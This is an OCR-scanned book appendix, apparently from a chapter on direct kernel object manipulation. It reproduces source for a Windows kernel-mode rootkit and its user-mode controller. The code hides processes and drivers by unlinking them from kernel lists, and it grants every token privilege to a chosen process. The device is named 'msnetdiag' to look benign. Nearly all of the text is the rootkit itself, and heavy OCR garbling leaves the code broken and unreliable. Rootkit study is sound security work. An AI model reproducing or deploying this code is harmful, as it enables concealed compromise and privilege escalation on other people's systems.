Appendix / Chapter 7
printf("% bytes written to destination file\n",nBytes); u if(fclose(origFileptr{ printf( "trouble closing original file\n"); if(fclose(srcFilePtr{ printf( "trouble closing sou r ce file\n") ;} if( fclose( destFilept r { pri ntf( "trouble closing destination file\n") ;
Chapter 7
:
I
ioctrlcodes . h
I
----------------------------------------------------------- ------------------*/
#define IOCTL_LIST_TASK #define IOCTL_LIST_DRVR #define IOCTL_HIDE_TASK #define IOCTL_HIDE_DRVR #define IOCTL_MOO_TOKEN
CTL_COOE (FILE_DEVICE_RK, BxSB1, METHOD_SUFFERED, FILE_WRITE_DATA) CTL_COOE (FI LE_DEVICE_RK, BxSB2, METHOD_BUFFERED, FILE_WRITE_DATA) CTL_COOE (FILE_DEVICE_RK, BxSB3 , METHOD_BUFFERED, FILE_WRITE_DATA) CTL_COOE (FILE_DEVICE_RK, BxSB4 , METHOD_BUFFERED, FILE_WRITE_DATA) CTL_COOE (FILE_DEVICE_RK, BxSBS , METHOD_BUFFERED, FILE_WRITE_D ATA)
//D evice File Name - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - -const WCHAR DeviceNameBuffer[] L"\\Device \\msnetdiag "; / /L prefix = unicode const WCHAR DeviceLinkBuffer[] L" \\DosDevices\\msnetdiag" ; const char UserlandPath[] "\\\\. \\msnetdiag";
/* - -- - - -- - - - -- - - - -- - - -- - - - - -- - - - - -- - - - - - -- - - - - -- - - - - - -- - - - - - -- - - - -- - - - - -- - - - --+
exit.h
I
I I I I I
-----------------------------------------------------------------------------* /
#define #define . #define #define #define '#define APP_SUCCESS APPJ AILURE_NARGS APPJ AILURE_BAD_CMD APP_FAILURE_OPEN_HANDLE APP_FAILURE_C LOSE_HANDLE APPJAILURE_MISSING_ARG BxB Bxl Bx2 Bx3 Bx4 BxS
I
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --+
cmdline.h
I I I
I I
816 I Appendix
127 128
2
/ fUse the following to alias argv[0J, argv[lJ, argv[2) #define #define #define #define ARGV_EXENAME ARGV_ CMD ARGVJILENAME ARGV]ID argv[0) argv[l) argv[2) argv[2)
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - - - --+
cmdline.c
I
I I I I I
--------------------------------------------------------- --------------------* /
char* editArg( char *src) { if(strlen(src) > MAX_CMD_SZ) { src[MAX_CMD_SZ) = '\0'; return(src) ; }/*end edi tArg() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / int chkCmdLine(int argc, char* argv[)) { int ij DbgMsg( "chkCmdLine" , "[begin)- - - - - - - - - - -"); DBG]RINT2(" [chkCmdLine) : argc=%i \n" ,argc); if( (argc < MIN_ARGS):: (argc > MAX_ARGS { DBG]RINT2( " [chkCmdLine) : argc=%d, wrong number of arguments\n",argc); DbgMsg( "chkCmdLine", "[ failed) - - -- - - - - - -") ; return(APPJAILURE_NARGS);
for(i=0; i<argc; i++) { char buffer [MAX_CMD_SZ) ; DBG]RINT2 (" \ tchkCmdLine : arg[%d)", i) ; DBG]RINT2("=%s\n", strncpy(buffer,editArg(argv[i) ,MAX_CMD_BUFF_SZ;
if(strlen(ARGV_CMD) > LEAD_CMD_SZ) { DBG]RINT2(" [chkCmdLine) : conrnand=%s, not recognized\n" ,ARGV_CMD); DbgMsg( "chkCmdLine", " [ failed)- - - - - - - - - -"); return(APPJAILURE_BAD_CMD);
/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --+
cmds . c
I
I I I I I
Appendix
I 817
Appendix I Chapter 7
int setDeviceHandle(HANDLE ' pHandle) { DBG]RINT2(" [setDeviceHandle] : Opening handle to %s\n",UserlandPath); pHandle = CreateFile ( UserlandPath, / /path to file GENERIC_READ : GENERIC_WRITE, / /dwDesiredAccess a, / /dWShareMode (a = not shared) NULL, / /lpSecurityAttributes OPEN_EXISTING, / /fail if file doesn' t exist FILE_ATIRIBUTE_NORMAL, //file has no attributes NULL / /hTemplateFile );
} DbgMsg( "setDeviceHandle", "device file handle acquired"); return(APP_SUCCESS) ; }/'end setDeviceHandle() - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - -- - - - - -- - - - -' /
void noIOCmd(char 'cmd, HANDLE handle, IWlRD code) { BOOL opStatus = TRUE; DWORD bytes Read = a; DBG]RINT2(" [noIOCmd] : cmd=%s\n", cmd); opStatus = DeviceIoControl ( handle, code, / /DWORD ioctr lcode NULL, / / LPVOID IpInBuffer, a, / /DWORD nInBufferSize, NULL, // LPVOID lpOutBuffer, a, / /DWORD nOutBufferSize , &bytesRead, / /# bytes actually stored in output buffer NULL / /LPOIIERLAPPED lpOverlapped (can ignore)
); i f( opStatus==FALSE) { DBG_PRINT2("[noIOCmd]: cmd=%s, FAILED\n" ,cmd);
return; } / 'noIOCmd ( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -' / void pidCmd(char' cmd, char' arg , HANDLE handle, DWORD code) { BOOL opStatus =TRUE; :;::0; DWORD bytesRead DWORD pid =a; DBG]RINT2(" [pidCmd]: cmd=%s\n", cmd); pid = (DWORD)atoi(arg); if(pid==a) { pid = GetCurrentProcessId(); DBG]RINT2("[pidCmd]: set PID to current value (%d)\n",pid);
8181 Appendix
opStatus = DeviceloControl ( handle , code) ( LPVOID)&pid, / / LPVOID lplnBuffer, / / OWORD nlnBufferSize, (in bytes) s izeof(OWORD) , // LPVOID lpOutBuffer, NULL, a, / / OWORD nOutBufferSize, (in bytes) / / # bytes actually stored in output buffer &byte sRead, / /LPOVERLAPPED lpOverlapped (can ignore) NULL ); i f( opStatus==FALSE) { DBG]RINT2("[pidCmd] : cmd=%s, FAILED\n",cmd);
a,
&bytesRead, NULL
/ / LPVOID lplnBuffer, / / OWORD nlnBufferSize, / / LPVOID lpOutBuffer, / / OWORD nOutBufferSize, / / # bytes actually stored in output buffer / /LPOVERLAPPED lpOverlapped (can ignore)
return;
}/*end fnameCmd() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ int procCmdLine(int argc , char* argv[]) { int r etCode =APP _SUCCESS; HANDLE hOeviceFile =INVALID_HANDLE_VALUE; / / get handle to KMD object retCode = setDeviceHandle(&hDeviceFile); if( retCode ! = APP_SUCCESS) { return (retCode) ;
Appendix 1819
Appendix
I Chapter 7
/ /execute cOITIlIands i f(strncmp(ARGV_OV, OV_LIST_TASKS, LEAD_OV_SZ) ==0) { noIOCmd(ARGV_OV, hDeviceFile, IOCTL_LIST_TASK); } else if(strncmp(ARGV_OV,OV_LIST_DRVS,LEAD_OV_SZ)==0) { noIOCmd(ARGV_OV, hDeviceFile, IOCTL_LIST_DRVR); } else if(strncmp(ARGV_OV,OV_HIDE_TASK,LEAD_OV_SZ)==0) { if(argc != MAX_ARGS) { DBG_PRINT2(" [procCmdLine): %s\n", "missing task PID"); return(APPJAILURE_MISSING_ARG); } pidCmd(ARGV_OV, ARGV]ID, hDeviceFile, IOCTL_HIDE_TASK); } else if(strncmp(ARGV_OV,OV_HIDE_DRV,LEAD_OV_SZ)==0) { if(argc != MAX_ARGS) { DBG_PRINT2("[procCmdLine) : %s\n", "missing driver name"); return(APP_FAILUREJUSSING_ARG); } fnameCmd(ARGV_OV, ARGV_FILENAME, hDeviceFile, IOCTL_HIDE_DRVR); } else if(strncmp(ARGV_OV,OV_MDD_TDKEN ,LEAD_OV_SZ) ==0) { if(argc != MAX_ARGS) { DBG]RINT2(" [procCmdLine) : %s\n", "missing task PID"); return(APPJAILURE_MISSING_ARG); } pidCmd(ARGV_OV, ARGV_PID, hDeviceFile, IOCTL_MDD_TDKEN); } else
{
DBG_PRINT2(" [procCmdLine) : Closing handle to %s \n" ,User landPath) ; retCode = CloseHandle(hDeviceFile); if(retCode == FALSE) { DBG_PRINT2(" [procCmdLine) : Errors closing handle to %s\n" ,UserlandPath); return(APPJAILURE_CLOSE_HANDLE); } DbgMsg( "procCmdLine", "COITIlIand processing completed"); return(APP_SUCCESS); . }/*end procCmdLine() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -- - - - -- - - - - - -* /
/* - -- - - - -- - - -- - - - -- - - - - -- - - - -- - - - - - - -- - - - -- -- - - - - -- - - - - -- - - - - -- - - - - - -- - - - -- - --+
I
usr .c
I
I I
I
I
+- - - - - - - - - - - - - - - - - - - - - - - - -- - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -- - - - - -* /
/ /system-wide includes- - - - - - - - -- - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - --#include "stdio.h" #include "WIN[)()oIS. h"
820
Appendix
#include "winioctl. h" / /rootkit cOlTlllOn includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- -- - - - - -- - -#include "types. h" #include "ioctrlcodes. h" //application-specific includes----- - - - ------------------------- ---- -- --------#include "exit.h" #include "cmdline. h" #include "dbgmsg .c" #include "cmdline.c" #include "cmds. c" int main(int argc, char* argyl]) { int retCode; DbgMsg("main", "program execution initiated"); retCode = chkCmdLine(argc,argv); if (retCode! =APP_SUCCESS) { DBG]RINT2("[main] : chkCmdLine() FAILED, exit code = (%d)\n",retCode); return(retCode); retCode = procCmdLine(argc,argv); if(retCode! =APP_SUCCESS) { DBG]RINT2("[main]: procCmdLine() FAILED, exit code = (%d)\n ", retCode); return (retCode) ; DbgMsg( "main", "Application exiting successfully"); return(APP_SUCCESS); }/*end main() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -* /
:
I
ver.c
I
Appen di X
I 821
II
}OFFSETS;
Appendix / Chapter 7
OFFSETS Offsets; BOOLEAN isOSSupported () { return(Offsets. isSupported); }/*end isOSSupported() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / void checkOSVersion() { NTSTATUS retVal; RTL_OSVERSIONINFo.-J versionlnfo; versionlnfo. d-'()SVersionlnfoSize = sizeof(RTL_OSVERSIONINFo.-J); retVal = RtlGetVersion(&versionlnfo); Offsets . isSupported = TRUE; DBG]RINT2(" [checkOSVersion]: Major #=%d", versionlnfo.d\ol'1ajorVersion); swi tch(versionlnfo. dwMajorVersion) { case(4) :
{
DBG_TRACE("checkOSVersion", "OS=2000, XP, Server 2003"); Offsets.isSupported = FALSE; }break; case(6) : { DBG_TRACE ("checkOSVersion", "OS=Vista, Server 200S"); Offsets. isSupported = TRUE; Offsets. ProcPID = 8x89C; Offsets. ProcName = 8xl4C; Offsets.ProcLinks = 8x8A8; Offsets .DriverSection 8x814; Offsets. Token 8x8e8; Offsets. nSIDs 8x878; Offsets. PrivPresent 8xe48; Offsets. PrivEnabled 8xe4S; Offsets. PrivDefaul tEnabled = 8x8S8; DBG_PRINT2(" [checkOSVersion]: ProcID=%e3x%", Offsets. ProcPID); DBG_PRINT2 ( " [ checkOSVersion]: ProcName=%e3x%", Offsets. ProcName) ; DBG]RINT2(" [checkOSVersion]: ProcLinks=%e3x%" ,Offsets. ProcLinks); DBG_PRINT2 (" [ checkOSVersion]: Dri verSection=%e3x%" ,Offsets. Dri verSection) ; DBG_PRINT2(" [checkOSVersion]: Token=%e3x%" ,Offsets. Token); DBG_PRINT2(" [checkOSVersion]: nSIDs=%e3x%" ,Offsets. nSIDs); DBG]RINT2(" [checkOSVersion]: PrivPresent=%e3x%" ,Offsets. PrivPresent) ; DBG_PRINT2 ( " [ checkOSVersion] : Pri vEnabled=%e3x%" ,Offsets. Pri vEnabled) ; DBG_PRINT2(" [checkOSVersion]: Pri vDefaul tEnabled=%e3x%" ,Offsets. Pri vDefaultEnabled) ; }break; default: { Offsets. isSupported FALSE;
returnj
}/*end checkOSVersion() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- -* /
/ *- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --+
822
Appen di X
task.c
I
I I I I I
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - -" I
#define EPROCESS_OFFSET_PID #define EPROCESS_OFFSET_NAME #define EPROCESS_OFFSET_LINKS Offsets. ProcPID Offsets. ProcName Offsets . Proclinks 0x010
1116 bytes
I 1- - -- - - - -- - - -- - - - - -- - - - - - -- - - - - - -- - - - - -- - - - -- - - - - - -- - - - - -- - - - - -- - - - - - - -- - - - --I l utili ty Routines- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -11 - ---------------------------------------- -- --------- ------------- - ----------BYTE " getNextPEP(BYTE " currentPEP) { BYTE" nextPEP = NUll; = NUll; BYTE " fLink LIST_ENTRY listEntry ; listEntry = " LIST_ENTRY")(currentPEP + EPROCESS_OFFSET_LINKS; fLink = (BYTE " )(listEntry.Flink); nextPEP = (flink - EPROCESS_OFFSET_LINKS); return(nextPEP) ; }/"end getNextPEP() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - --- - - - - - - - - -" I BYTE" getPreviousPEP(BYTE " currentPEP) { BYTE " prevPEP = NUll; BYTE " blink = NUll; LIST_ENTRY listEntry; listEntry = " LIST_ENTRY" )( currentPEP + EPROCESS_OFFSET_lINKS; blink = (BYTE " )(listEntry . Blink); prevPEP = (blink - EPROCESS_OFFSET_LINKS); return(prevPEP) ; }/"end getPreviousPEP() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - " I void getTaskName( char "dest, char " src) { strncpy( dest, src, SZ_EPROCESS_NAME); dest[SZ_EPROCESS_NAME-1)= \0' ;
returnj
Appen di X
I 823
Appendix / Chapter 7
--------------/ / - - - -- -- - - -- - - --- - - - - -- - - - --- - - - - --- - - - - - - - - - - - - - ------------ - - - --- - - - - - - - - - -/ / - - - - - -- - - - -- - - -- - - - - - -- - - - - -- - - - - - - - - - - - - - - - - - --- - - - - - - - - - - -- / / Listing Only- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -void ListTasks() { = NULL ; BYTE ' current PEP BYTE ' nextPEP = NULL; int currentPID = 0; int startPID = 0; BYTE name[SZ_EPROCESS_NAME]; //use the following variables to prevent infinite loops int fuse = 0; const int BLo..t.I = 1048576; / / get the current EPROCESS block currentPEP = (BYTE' ) PsGetCurrentProcess () ; currentPID = getPID(currentPEP); getTaskName(name , (currentPEP+EPROCESS_OFFSET_NAME; DBG]RINTl( "ListTasks: Enumeration[Begin]\n"); startPID = currentPID; DBG]RINT3(" %5 [PID(%d)] :\n" , name , currentPID) ; / / printNamelnHex(name); / /get the next EPROCESS block nextPEP = getNextPEP( currentPEP); currentPEP = nextPEP; currentPID = getPID( currentPEP); getTaskName(name, (currentPEP+EPROCESS_OFFSET_NAME; while(startPID ! = currentPID) { DBG_PRINT3(" %5 [PID(%d)]:\n",name,currentPID); / / printNamelnHex(name); nextPEP = getNextPEP( currentPEP) ; currentPEP = nextPEP; currentPID = getPID( current PEP) ; getTaskName(name, (currentPEP+EPROCESS_OFFSET_NAME; fuse++ ; i f( fuse==BLo..t.I) { DbgMsg("ListTasks" , "--BAM!--YOu just blew a fuse, dude") ; return ;
DBG]RINT2( " %d Tasks Listed\n", fuse); DBG_PRINTl ( "ListTasks : Enumeration [Done] \n") ; return; }/ *end ListTasks () - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - --- - - - - - - - - - - - - - - - - -' /
/ / - -- - - -- - - - - - - - - - - - - - -- - - - - - -- - - - --- - - - - - - - - - - - -- - - void modifyTaskListEntry(UCHAR' currentPEP) { BYTE ' prevPEP =NULL; BYTE ' nextPEP =NULL; int currentPID =0;
8241 Appendix
prevPID nextPID
=8; =8;
LIST_ENTRY' currentLi stEnt r y; LIST_ENTRY' prevListEntry; LIST_ ENTRY' nextListEntry; currentPID = getPID(currentPE P); getTaskName( currentName, (currentPEP+EPROCESS_OFFSET_NAME)); DBG]RINT3( "modifyTaskListEntry : Current is %s[PID=%d]\n", currentName,currentPID); prevPEP = getPreviousPEP( currentPEP); prevPID = getPID(prevPEP); getTaskName(prevName, (prevPEP+EPROCESS_OFFSET_NAME)); DBG_PRINT3( "modifyTaskListEntry: Prey is %s[ PID=%d]\n" ,prevName, prevPID); nextPEP = getNextPEP( currentPEP); nextPID = getPID(nextPEP); getTaskName (nextName, (nextPEP+EPROCESS_OFFSET_ NAME) ) ; DBG_ PRINT3( "modifyTaskListEntry: Next is %s [PID=%d] \ n", nextName , nextPID) ; currentListEntry = LIST_ENTRY')(currentPEP + EPROCESS_OFFSET_LINKS)); prevListEntry = LIST_ENTRY')(prevPEP + EPROCESS_OFFSET_LINKS)); nextListEntry = LIST_ENTRY' )(nextPEP + EPROCESS_OFFSET_LINKS)) ; DBG_PRINT3 ( "modi fyTaskListEntry: removing %s [PID=%d] \n" ,currentName, currentPID) ; ( prevListEntry). Flink = nextListEntry; ('nextListEntry) . Blink = prevListEntry; (currentListE ntry) . Flink = currentListEntry; ( currentListEntry) . Blink = currentListEntry; return; }/' end modi fyTaskListEntry() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - -' / void modifyTaskList(DWORD pid) { = NULL; BYTE ' currentPEP = NULL; BYTE ' ne xtPEP int currentPID = 0; int startPID = 0; BYTE name[SZ_EPROCESS_NAME]; / f use the following variables to prevent infinite loops int fuse = 0; const int BLOWN = 1048576; currentPEP = (UCHAR')PsGetCurr entProcess(); currentPID = getPID(currentPEP); getTaskName(name, (currentPEP+EPROCESS_OFFSET_NAME)); DBG]RINT1( "modi fyTaskList: Search[Begin]\n"); startPID = currentPID; DBG_PRINT3(" %s [PID(%d)]:\n ", name ,currentPID); if (currentPID==pid) { modi fyTaskListEntry( currentPEP); DBG_PRINT2( "modi fyTaskList: Search [Done] PID=%d Hidden\n", pid); return;
Appen di X
I 825
Appendix I Chapler 7
nextPEP = getNextPEP( currentPEP); currentPEP = nextPEP; currentPID = getPID( currentPEP) ; getTaskName(name, (currentPEP+EPROCESS_OFFSET_NAME; while(startPID ! = currentPID) { DBG]RINT3( " %s [PID(%d)] : \n ", name, currentPID); if(currentPID==pid) { modifyTaskListEntry(currentPEP); DBG]RINT2("modifyTaskList : Search(Done] PID=%d Hidden\n",pid) ;
return;
nextPEP = getNextPEP(currentPEP); currentPEP = nextPEP; currentPID = getPID( currentPEP) ; getTaskName(name, (currentPEP+EPROCESS_OFFSET_NAME; fuse++ ; i f( fuse==BLo..N) { DbgMsg("ListTasks", "--POP! -- ... You blew a fuse");
return;
DBG]RINT2("' %d Tasks Listed\n", fuse); DBG]RINT2( "modifyTaskList : Search(Done] ... No task found with PID=%d\n" ,pid);
return ;
}/*end modi fyTaskList() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -- - - - ---* / void HideTask(DWORD* pid) { IRQL irql; K PKDPC dpcptr; DBG_PRINT2( "HideTask: hiding PID[%d] \n", *pid) ; i r ql = RaiseIRQLO; dpcptr = AcquireLockO ; modi fyTaskList( *pid) ; ReleaseLock(dpcptr) ; LowerIRQL(irql) ; return; }/*end HideTask() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- -* /
.:
I I
module.c
:
I I
826
Appendix
UNICODE_STRING filePath; UNICODE_STRING fileName; I I . .. and who knows what else }DRIVER_SECTION, 'PDRIVER_SECTION;
I I - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - --- - - - - --I lutili ty Routines- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - -I I - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - -DRIVER_SECTION' getCurrentDriverSection() { BYTE ' object; DRIVER_SECTION' driverSection;
Ilwe stored this global reference in DriverEntryO object = (UCHAR')DriverObjectRef; IIUndocumented DRIVER_SECTION IIIn DRIVER_OBJECT's PVOID DriverSection field (see Wdm.h) driverSection = '( (PDRIVER_SECTION' ) DWORD)object+OFFSET_DRIVERSECTION)); return( driverSection) ; }/'end getCurrentDriverSection()-- ---------- ----------------- ----------------1
I I - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --llList Only Routine- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - -- - - - - - -- - - - - - - - - - - - - -I 1- -- - - -- - - - - -- - - - - -- - - - -- - - - - -- - - - - - - -- - - - - -- - - - -- - - - - - -- - - - - - -- - - - - -- - - - - - --void ListDri vers 0 { DRIVER_SECTION' currentDS; DRIVER_SECTION' firstDS; DbgMsg(" ListDrivers ", "[ list beginJ- - - - - - - - - -- - - - - - - - - - -"); currentDS = getCurrentDriverSectionO; DBG]RINT2("\tDriver file=%S", currentDS). fileName) .Buffer); firstDS = currentDS; currentDS = (DRIVER_SECTION') 'firstDS) .listEntry). Flink; while( DWORD)currentDS) != DWORD)firstDS) ) { DBG]RINT2("\tDriver file=%S", currentDS). fileName) . Buffer) ; currentDS = (DRIVER_SECTION') 'currentDS) .listEntry). Flink;
I I - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - - - -- - - - - -I lModi fy Driver List - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -I I - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - -- - - - - --- - - - - - -- - - - - -void removeDriver(DRIVER_SECTION' currentDS) { LIST_ENTRY' prevDS ; LIST_ENTRY' nextDS; KIRQL irql; PKDPC dpcptr; irql = RaiseIRQL(); dpcptr = AcquireLockO;
Appendix
I 827
Appendix / Chapter 7
prevDS nextDS
*currentDS) .listEntry). Blink; *currentDS) .listEntry). Flink; nextDS; prevDS; (LIST_ENTRY* )currentDS; (LIST_ENTRY* )currentDS;
ANSI_STRING aDriverName; UNICODE_STRING uDriverName; NTSTATUS retVal; DRIVER_S ECTION* currentDS; DRIVER_SECTION* firstDS; LONG match; DbgMsg( "HideDriver", "Attempt to hide driver initiated"); DBG]RINT2(" \ tdriver name=%s\n" ,driverName); RtlInitAnsiString( &aDri verName, dri verName) ; s\n" ,aDriverName .Buffer); DBG]RINT2C' \ tANSI driver name=% retVal = RtlAnsiStringToUnicodeString(&uDriverName,&aDriverName, TRUE); if(retVal != STATUS_SUCCESS)
{
DBG]RINT2(" [HideDriver] : Unable to convert to Unicode (%s)",driverName); DBG_PRINT2 (" \ tunicode driver name=%5\n", uDri verName. Buffer) ; currentDS = getCurrentDriverSectionO; DBG_PRINT2 ( ,. \ tcurrent Dri verSection=%S" , ( (*currentDS) . fileName) . Buffer) ; firstDS = currentDS; match = RtlCompareUnicodeString(&uDriverName,&*currentDS). fileName), TRUE); if(match==B) { DBG]RINT2("\tfound a match (%5)", *currentDS). fileName) . Buffer) ; removeDriver( currentDS); return;
currentDS = (DRIVER_S ECTION*) *firstDS) .listEntry) . Flink; while ( DWDRD)currentDS) != DWDRD)firstDS) ) { DBG_PRINT2( "\tcurrent Driver file=%5", *currentDS). fileName). Buffer); match = RtlCompareUnicodeString(&uDriverName,&( (*currentDS). fileName), TRUE); if(match==B) { DBG]RINT2( "\tfound a match (%S)", *currentDS). fileName). Buffer); removeDri ver( currentDS) ;
return;
currentDS = (DRIVER_SECTION*) *currentDS) .listEntry). Flink;
828
Appen di X
return;
}/'end HideDriver() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' / /. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --+
I I
:
I I
token .c
_ .
void processToken(BYTE ' currentPEP) { UCHAR 'token_address; UCHAR 'address ; [)Io,QRD addressl\QRD ; PLUID aut hID; [)Io,QRD nSID; unsigned _int64 privPresent; unsigned _int64 privEnabled ; unsigned _int64 privEnabledByDefault; unsigned _int64 ' bigP ; address = (currentPEP+EPROCESS_OFFSET_TOKEN) ; / /set the 3 lowest-order bits to zero addressl\QRD = '[)Io,QRD' )address); addressl\QRD = addressl\QRD & exfffffff8 ; token_address = (UCHAR')addressI\QRD; nSID = [)Io,QRD')(token_address+TOKEN_OFFSET_SIDCOUNT) ) ; DBG]RINT2("processToken : number of SIDs =%d ",nSID) ; privPresent = ' unsigned _int64')(token_address+TOKEN_OFFSET]RIV; DBG_PRINT2( "processToken: Priv Present =%I64x" ,privPresent); privEnabled = ' unsigned _int64')(token_address+TOKEN_OFFSET_ENABLED; DBG]RINT2( "processToken: Priv Enabled =%I64x" ,privEnabled); privEnabledByDefault = unsigned _int64' )(token_address+TOKEN_OFFSET_DEFAULT ; DBG]RINT2("processToken : Priv Default Enabled =% I64x", privEnabledByDefault); / /strobe token privileges bigP = (unsigned _int64 ')( token_address+TOKEN_OFFSET]RIV) ; ' bigP = exffffffffffffffff; bigP = (unsigned _int64 ')(token_address+TOKEN_OFFSET_ENABLED); ' bigP = e xffffffffffffffff ; bigP = (unsigned _int64 ' )(token_address+TOKEN_OFFSET_DEFAULT); ' bigP = exffffffffffffffff ;
return;
}/'end processToken() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' / void ScanTaskList([)Io,QRD pid) { = NULL; BYTE ' currentPEP BYTE ' nextPEP = NULL ; int currentPID = 0;
Appendix
I 829
Appendix / Chapter 7
int startPID = 0; BYTE name[SZ_EPROCESS_NAME); / f use the following variables to prevent infinite loops int fuse = 0; const int BLOWN = 4096; currentPEP = ( BYTE" ) PsGetCurrentProcess 0 ; currentPID = getPID(currentPEP); getTaskName(name, (currentPEP+EPROCESS_OFFSET_NAME; DBG_PRINT1("ScanTaskList: Search[Begin)\n"); startPID = currentPID; DBG]RINT3(" % [PID(%d) : \n" ,name,currentPID) ; s if( currentPID==pid)
(
return ;
nextPEP = getNextPEP ( currentPEP) ; currentPEP = nextPEP; currentPID = getPID(currentPEP); getTaskName(name, (currentPEP+EPROCESS_OFFSET_NAME ; while(startPID != currentPID) ( DBG]RINT3(" % [PID(%d) : \n", name,currentPID); s if( currentPID==pid) ( DBG]RINT2( "ScanTaskList : Search[Done) PID=%d Located\n", pid) ; processToken( currentPEP) ;
return ;
nextPEP = getNextPEP(currentPEP); currentPEP = nextPEP; currentPID = getPID(currentPEP); getTaskName (name , (currentPEP+EPROCESS_OFFSET_NAME) ) ; fus e++; i f( fuse==BLOWN) ( DbgMsg("ScanTaskList", "--POP!-- . .. You blew a fuse");
return ;
DBG]RINT2(" %d Tasks Listed\n", fuse); DBG]RINT2( "ScanTaskList: Search[Done) ... No task found with PID=%d\n" ,pid);
return ;
. }/*end ScanTaskList() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --- - - - -" / void ModifyToken([Jo,.,ORD* pid)
l
KIRQL irql ; PKDPC dpcPtr ; DBG_PRINT2("ModifyToken : modifying access token to PID[%d)\n ", *pid) ; irql = RaiseIRQL 0; dpcPtr = AcquireLockO ; ScanTaskList( *pid) ;
830
Appen di x
1*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - -- - - - - - - - - - - - - --+
I
kmd.c
I
-----------------------------------------------------------------------------* I
I I I I
IN PDEVICE_OBJECT IN PIRP
pDeviceObject, pIRP
*pIRP) . IoStatus} . Status = STATUS_SUCCESS; *pIRP). IoStatus} . Information = 0; IoCompleteRequest( pIRP, IO_NO_INCREMENT}; r eturn(STATUS_SUCCESS} ; }/*end defaul tDispatch(} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - * I NTSTATUS dispatchIOControl
(
IN PDEVICE_OBJECT IN PIRP
pDeviceObject, pIRP
ntStatus = STATUS_SUCCESS; *pIRP). IoStatus) .Status = STATUS_SUCCESS; *pIRP) . IoStatus} . Information = 0; inputBuffer
=
Appendix 1831
Appendix / Chapler 7
output Buffer
